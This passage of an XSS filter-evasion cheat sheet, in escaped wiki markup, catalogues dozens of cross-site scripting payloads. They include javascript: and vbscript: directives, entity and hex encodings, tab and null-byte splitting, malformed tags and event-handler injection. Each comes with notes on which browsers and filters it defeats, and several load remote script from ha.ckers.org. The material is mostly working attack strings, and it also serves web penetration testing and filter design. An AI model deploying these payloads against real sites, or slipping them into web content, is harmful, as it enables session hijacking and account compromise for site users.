Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== UTF-8 Unicode encoding ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS  [Calculator http://ha.ckers.org/xss.html#XSScalc] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Long UTF-8 Unicode encoding without semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Hex encoding without semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS[calculator http://ha.ckers.org/xss.html#XSScalc] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Embedded == &lt;br /&gt;
&lt;br /&gt;
=== Embedded tab === &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Embedded Encoded tab ===&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== Embedded newline to break up XSS ===&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== Embedded carriage return to break up XSS ===&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT/XSS SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT/SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt; B &amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|'''FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|'''FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== IMAGES ==&lt;br /&gt;
=== INPUT image ===&lt;br /&gt;
 &amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== BODY image ===&lt;br /&gt;
 &amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== IMG Dynsrc ===&lt;br /&gt;
 &amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== IMG lowsrc ===&lt;br /&gt;
 &amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== List-style-image ===&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== VBscript in an image ===&lt;br /&gt;
 &amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Livescript (older versions of Netscape only)===&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
=== Mocha (older versions of Netscape only)===&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;mocha:[code]&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:&lt;br /&gt;
  1.	FSCommand() (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
  2.	onAbort() (when user aborts the loading of an image)&lt;br /&gt;
  3.	onActivate() (when object is set as the active element)&lt;br /&gt;
  4.	onAfterPrint() (activates after user prints or previews print job)&lt;br /&gt;
  5.	onAfterUpdate() (activates on data object after updating data in the source object)&lt;br /&gt;
  6.	onBeforeActivate() (fires before the object is set as the active element)&lt;br /&gt;
  7.	onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand  (&amp;quot;Copy&amp;quot;) function)&lt;br /&gt;
  8.	onBeforeCut() (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
  9.	onBeforeDeactivate() (fires right after the activeElement is changed from the current object)&lt;br /&gt;
  10.	onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
  11.	onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&amp;quot;Paste&amp;quot;) function)&lt;br /&gt;
  12.	onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&amp;quot;Print&amp;quot;) function).&lt;br /&gt;
  13.	onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
  14.	onBegin() (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
  15.	onBlur() (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
  16.	onBounce() (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
  17.	onCellChange() (fires when data changes in the data provider)&lt;br /&gt;
  18.	onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
  19.	onClick() (someone clicks on a form)&lt;br /&gt;
  20.	onContextMenu() (user would need to right click on attack area)&lt;br /&gt;
  21.	onControlSelect() (fires when the user is about to make a control selection of the object)&lt;br /&gt;
  22.	onCopy() (user needs to copy something or it can be exploited using the execCommand(&amp;quot;Copy&amp;quot;) command)&lt;br /&gt;
  23.	onCut() (user needs to copy something or it can be exploited using the execCommand(&amp;quot;Cut&amp;quot;) command)&lt;br /&gt;
  24.	onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
  25.	onDataSetChanged() (fires when the data set exposed by a data source object changes)&lt;br /&gt;
  26.	onDataSetComplete() (fires to indicate that all data is available from the data source object)&lt;br /&gt;
  27.	onDblClick() (user double-clicks a form element or a link)&lt;br /&gt;
  28.	onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
  29.	onDrag() (requires that the user drags an object)&lt;br /&gt;
  30.	onDragEnd() (requires that the user drags an object)&lt;br /&gt;
  31.	onDragLeave() (requires that the user drags an object off a valid location)&lt;br /&gt;
  32.	onDragEnter() (requires that the user drags an object into a valid location)&lt;br /&gt;
  33.	onDragOver() (requires that the user drags an object into a valid location)&lt;br /&gt;
  34.	onDragDrop() (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
  35.	onDrop() (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
  36.	onEnd() (the onEnd event fires when the timeline ends.    &lt;br /&gt;
  37.	onError() (loading of a document or image causes an error)&lt;br /&gt;
  38.	onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
  39.	onFilterChange() (fires when a visual filter completes state change)&lt;br /&gt;
  40.	onFinish() (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
  41.	onFocus() (attacker executes the attack string when the window gets focus)&lt;br /&gt;
  42.	onFocusIn() (attacker executes the attack string when window gets focus)&lt;br /&gt;
  43.	onFocusOut() (attacker executes the attack string when window looses focus)&lt;br /&gt;
  44.	onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
  45.	onKeyDown() (user depresses a key)&lt;br /&gt;
  46.	onKeyPress() (user presses or holds down a key)&lt;br /&gt;
  47.	onKeyUp() (user releases a key)&lt;br /&gt;
  48.	onLayoutComplete() (user would have to print or print preview)&lt;br /&gt;
  49.	onLoad() (attacker executes the attack string after the window loads)&lt;br /&gt;
  50.	onLoseCapture() (can be exploited by the releaseCapture() method)&lt;br /&gt;
  51.	onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
  52.	onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
  53.	onMouseDown() (the attacker would need to get the user to click on an image)&lt;br /&gt;
  54.	onMouseEnter() (cursor moves over an object or area)&lt;br /&gt;
  55.	onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
  56.	onMouseMove() (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
  57.	onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
  58.	onMouseOver() (cursor moves over an object or area)&lt;br /&gt;
  59.	onMouseUp() (the attacker would need to get the user to click on an image)&lt;br /&gt;
  60.	onMouseWheel() (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
  61.	onMove() (user or attacker would move the page)&lt;br /&gt;
  62.	onMoveEnd() (user or attacker would move the page)&lt;br /&gt;
  63.	onMoveStart() (user or attacker would move the page)&lt;br /&gt;
  64.	onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
  65.	onPaste() (user would need to paste or attacker could use the execCommand(&amp;quot;Paste&amp;quot;) function)&lt;br /&gt;
  66.	onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
  67.	onProgress() (attacker would use this as a flash movie was loading)&lt;br /&gt;
  68.	onPropertyChange() (user or attacker would need to change an element property)&lt;br /&gt;
  69.	onReadyStateChange() (user or attacker would need to change an element property)&lt;br /&gt;
  70.	onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
  71.	onReset() (user or attacker resets a form)&lt;br /&gt;
  72.	onResize() (user would resize the window; attacker could auto initialize with something like: &amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;)&lt;br /&gt;
  73.	onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;)&lt;br /&gt;
  74.	onResizeStart() (user would resize the window; attacker could auto initialize with something like: &amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;)&lt;br /&gt;
  75.	onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
  76.	onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
  77.	onRowsEnter() (user or attacker would need to change a row in a data source)&lt;br /&gt;
  78.	onRowExit() (user or attacker would need to change a row in a data source)&lt;br /&gt;
  79.	onRowDelete() (user or attacker would need to delete a row in a data source)&lt;br /&gt;
  80.	onRowInserted() (user or attacker would need to insert a row in a data source)&lt;br /&gt;
  81.	onScroll() (user would need to scroll, or attacker could use the scrollBy() function)&lt;br /&gt;
  82.	onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
  83.	onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&amp;quot;SelectAll&amp;quot;);)&lt;br /&gt;
  84.	onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&amp;quot;SelectAll&amp;quot;);)&lt;br /&gt;
  85.	onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&amp;quot;SelectAll&amp;quot;);)&lt;br /&gt;
  86.	onStart() (fires at the beginning of each marquee loop)&lt;br /&gt;
  87.	onStop() (user would need to press the stop button or leave the webpage)&lt;br /&gt;
  88.	onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
  89.	onSubmit() (requires attacker or user submits a form)&lt;br /&gt;
  90.	onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
  91.	onTrackChange() (user or attacker changes track in a playList)&lt;br /&gt;
  92.	onUnload() (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
  93.	onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
  94.	seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point.   The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
